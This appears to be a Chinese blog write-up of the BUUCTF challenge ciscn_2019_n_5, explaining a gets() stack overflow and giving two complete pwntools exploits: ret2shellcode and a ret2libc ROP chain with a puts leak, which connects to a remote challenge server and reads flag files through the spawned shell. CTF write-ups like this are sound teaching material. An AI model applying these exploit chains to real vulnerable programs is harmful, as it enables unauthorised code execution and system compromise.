草庐IT

BUUCTF ciscn_2019_n_5

Red-Leaves 2024-02-26 原文

1.Checksec & IDA Pro

完全是裸的程序,基本上一点保护都没开。

 

 只有main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char text[30]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name"); // 输入一串字符串,长度为0x64,有上限,无法溢出
  read(0, name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets(text); // 栈溢出漏洞
  return 0;
}

也不存在现成的 system 与 /bin/sh 可供调用 

因此 ret2text 行不通。

找到了漏洞,本题就有两种解法了。

1. ret2shellcode

既然没开NX,那代表栈是可执行的,只需要构造shellcode即可直接获取shell

具体步骤:

name  中输入shellcode

text中溢出,返回地址填 name 的起始段

getshell

完整PoC如下:

from pwn import *
elf = ELF("/home/pwn/桌面/ciscn_2019_n_5")
p = process("/home/pwn/桌面/ciscn_2019_n_5")

context(arch='amd64', os='linux')
context.log_level = 'debug'

shellcode = asm(shellcraft.sh())

p.sendlineafter('tell me your name\n', shellcode)

payload = flat(b'a' * (0x20 + 0x8) + p64(0x601080))
p.sendlineafter('What do you want to say to me?\n', payload)

p.interactive()

十分简单。但是有个问题,如果本地打不进去可以尝试更换系统打,我的Kali打不进去换了个Ubuntu进去了。

2. ret2libc

思路如下:

通过 puts 函数泄露真实地址,通过LibcSearcher查询Libc中后3位相同的Libc,dump并计算出 system 、 /bin/sh 的偏移。然后调用即可。

Payload_Name --- 用来跳过第一步的输入 name

payload_pre = ( b'A' * 10 )
io.sendlineafter('tell me your name\n', payload_pre)

Payload_Leak --- 用来进行溢出并获取地址

ret = 0x4004C9
rdi = 0x400713 

leak_plt = elf.plt['puts']
leak_got = elf.got['puts']
main_addr = elf.sym['main']

payload = ( b'A' * ( 0x20 + 0x08 ) + p64(rdi) + p64(leak_got) + p64(leak_plt) + p64(main_addr) )
io.sendlineafter('What do you want to say to me?\n', payload)

Payload_Shell --- 用来获取shell

libc = LibcSearcher('puts',real_addr)
libbase = real_addr - libc.dump('puts')
system = libbase + libc.dump('system')
bin_sh = libbase + libc.dump('str_bin_sh')

payload_shell = ( b'A' * ( 32 + 0x08 ) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system)  )

完整PoC如下:

from pwn import * 
from LibcSearcher import LibcSearcher
 
elf = ELF("/root/Desktop/PwnSubjects/ciscn_2019_n_5")
#libc = ELF("/root/Desktop/PwnSubjects/libc-2.23 (1).so") 
io = remote("node4.buuoj.cn",25887)
#io = process("/root/Desktop/PwnSubjects/ciscn_2019_n_5")
 
ret = 0x4004C9
rdi = 0x400713 

leak_plt = elf.plt['puts']
leak_got = elf.got['puts']
main_addr = elf.sym['main']

# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")

payload_pre = ( b'A' * 10 )
io.sendlineafter('tell me your name\n', payload_pre)

payload = ( b'A' * ( 0x20 + 0x08 ) + p64(rdi) + p64(leak_got) + p64(leak_plt) + p64(main_addr) )
io.sendlineafter('What do you want to say to me?\n', payload)
real_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("[+] Payload : \n",(payload))
print("[+] Leacked.")
print(("[+] Real Address : "),hex(real_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
 
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
libc = LibcSearcher("puts",real_addr)
libcbase = real_addr - libc.dump('puts')
system = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
 
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(real_addr))
print("[+] Base Address: ",hex(real_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
 
# 阶段4 获取shell
io.sendline(payload_pre)
io.recvuntil('me?\n')

payload_shell = ( b'A' * ( 32 + 0x08 ) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system)  )
io.sendline(payload_shell)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline(b"find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline(b"find '/flag' -exec cat {} \;")
print("Damn")
io.sendline(b"find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()

注意:如果靶机是 Ubuntu18,那需要注意栈平衡。这就是为什么shell之前需要调用一个ret

成功获取shell 

有关BUUCTF ciscn_2019_n_5的更多相关文章

  1. iOS适配Unity-2019 - 2

    iOS适配Unity-2019背景由于2019起,Unity的Xcode工程,更改了项目结构。Unity2018的结构:可以看Targets只有一个Unity-iPhone,Unity-iPhone直接依赖管理三方库。Unity2019以后:Targets多了一个UnityFramework,UnityFramework管理三方库,Unity-iPhone依赖于UnityFramwork。所以升级后,会有若干的问题,以下是对问题的解决方式。问题一错误描述error:exportArchive:Missingsigningidentifierat"/var/folders/fr//T/Xcode

  2. Windows Server 2019服务器远程桌面服务部署+深度学习环境配置教程 - 2

    文章目录1.安装WindowsServer20192.开启WLAN服务3.固定IP地址4.开启远程桌面服务4.1添加远程桌面服务4.2激活服务器4.3安装许可证5.配置远程桌面服务5.1配置许可证服务器和授权模式5.2配置连接模式5.3启用计算机的远程功能5.4设置用户能使用简单密码6.配置CUDA环境6.1更新驱动6.2安装CUDA6.3安装cuDNN6.4配置环境变量7.配置Anaconda+Pycharm环境7.1安装Anaconda7.2安装Pycharm8.配置Tensorflow+Pytorch环境8.1创建环境8.2配置pip和conda国内下载源8.3安装Tensorflow-

  3. C# Vs2019 发布跨平台程序包,使用net5.0框架 - 2

    net5.0不是LTS版本,建议以后可以使用微软出的net6.0。根据官网上的及其民间说法net5.0实际就是netcore的后续,传统的netframework将不再更新(已死)然后本节就讲述一下怎么用vs2019使用net5.0发布一个跨平台应用,本示例会用到大量图片说明,1:使用net5.0新建一个控制台程序,这里不会自行百度呗2:右键控制台,选择发布3:选择发布选项,然后开始配置发布文件4:然后就是跟着向导点点就行了5:重点,在完成上述操作以后会出现以下配置6:点击显示所有设置7:以生成Linux运行程序为例,8:等待自动完成生成9:使用wsl进行测试1>进入win磁盘cd/mnt2>

  4. javascript - 我应该在 2019 年将我的 JWT 存储在哪里,localStorage 真的不安全吗? - 2

    有趣的话题。因为我正在使用Node.jsApi和ReactReduxClient创建我的第一个真正更大的项目,所以我需要身份验证。现在我不知道如何“正确地”处理身份验证。因为我看了很多关于它的话题,但是意见不一。所以一开始有些人立即说:不要将localStorage与JWT一起使用。例如这里有一篇文章:https://dev.to/rdegges/please-stop-using-local-storage-1i04这是来自auth0的另一篇文章:https://auth0.com/docs/security/store-tokens但后来我更深入地研究了身份验证的广阔世界,我发现很

  5. go - 如何解析 "2019-09-19 04:03:01.770080087 +0000 UTC"时间戳 - 2

    这个问题在这里已经有了答案:ParsingRFC-3339/ISO-8601date-timestringinGo(8个答案)关闭3年前。我将如何解析这个时间戳?“2019-09-1904:03:01.770080087+0000UTC”我尝试了以下方法:formatExample:=obj.CreatedOn//obj.CreatedOn="2019-09-1904:03:01.770080087+0000UTC"time,err:=time.Parse(formatExample,obj.CreatedOn)check(err)fmt.Println(time)但我得到的输出是:0

  6. 时间:2019-01-08 标签:c#winforms : DataGridView leave event not getting value of last updated cell - 2

    我有一个WinForms屏幕,上面有一个DataGridView和后退/下一步按钮。在FormLoad上,网格中填充了来自XML文档的值。然后用户可以更改网格中任何单元格的值。我创建了一个SaveGridValuesToXml方法,它使用来自网格单元格的更新值更新XML文件。这大部分工作正常,我已经从网格上的Leave事件触发了SaveGridValuesToXml方法,因此当用户单击后退或下一步并且网格失去焦点时,将调用保存方法。我遇到的问题是,除了在网格失去焦点时获得焦点的单元格之外,所有单元格值都已更新并正确反射(reflect)在XML文件中。例如,在三列网格中,如果我更新第一

  7. 时间:2019-05-08 标签:c#xmlserializationextrarootnode - 2

    我有一个要序列化为xml文档的集合。该类是:publicclassContacts{publicListcontacts{get;set;}}我的主要问题是现在我的xml看起来问题是,我想看起来像这样:有办法吗? 最佳答案 [XmlRoot("contacts")]publicclassContacts{[XmlElement("contact")]publicListcontacts{get;set;}}应该给你:.........(XmlRootAttribute将Contacts重命名为contacts;XmlElementA

  8. vs2019使用Gitee - 2

    1.首先打开gitee,建立仓库。如图所示选择。2.点击创建后,如图所示,这里复制一下HTTPS的地址,一会儿要使用。 3.点击 初始化readme文件按钮后,如图所示4.回到vs2019上面,打开vs2019,在拓展里面搜索Gitee 安装完成后,重启VS20195.打开vs2019,建立一个项目 6.点击创建 7.这里的地址选择第2步的HTTPS地址,点击创建并且推送 此时打开设置 看看里面的参数对不对,用户名就是Gitee的名字,邮箱就是你的账号 这个提取和推送地址就是gitee中你设置的项目 8.此时在界面上拖动一个按钮,可以看到右侧的项目变红了 9选择提交10.写入备注后。选择全部提

  9. c++ - 无法在 Visual Studio Community 2015 中编译基本程序(LNK2019 - MSVCRTD.lib) - 2

    我在从未安装过任何IDE/开发工具的全新Win10安装上安装了VisualStudioCommunity2015。我创建了一个空的c++项目,添加了main.cpp,将入口点设置为main并添加了:voidmain(){}在VS2013上我可以毫无问题地做到这一点。我遇到了我无法弄清楚的链接器错误:SeverityCodeDescriptionFileLineErrorLNK2019unresolvedexternalsymbol__CrtDbgReportreferencedinfunction__CRT_RTC_INITC:\Users\[user]\Desktop\VS_TEST

  10. c++ - LNK2019 : unresolved external symbol -- Implicit DLL - 2

    这个问题在这里已经有了答案:Whatisanundefinedreference/unresolvedexternalsymbolerrorandhowdoIfixit?(39个答案)关闭8年前。有很多类似的问题,但我几乎已尽一切努力解决问题,但似乎没有任何效果我创建了一个简单的小Dll。声明:voidfunc_A()voidfunc_B()还有一些其他的东西,我给了它一个C++文件名,但它基本上只是C程序我写了.def文件LIBRARY"myLib.dll"EXPORTSfunc_A@1func_B@2Dll创建成功。我已经确定properties->linker->input->m

随机推荐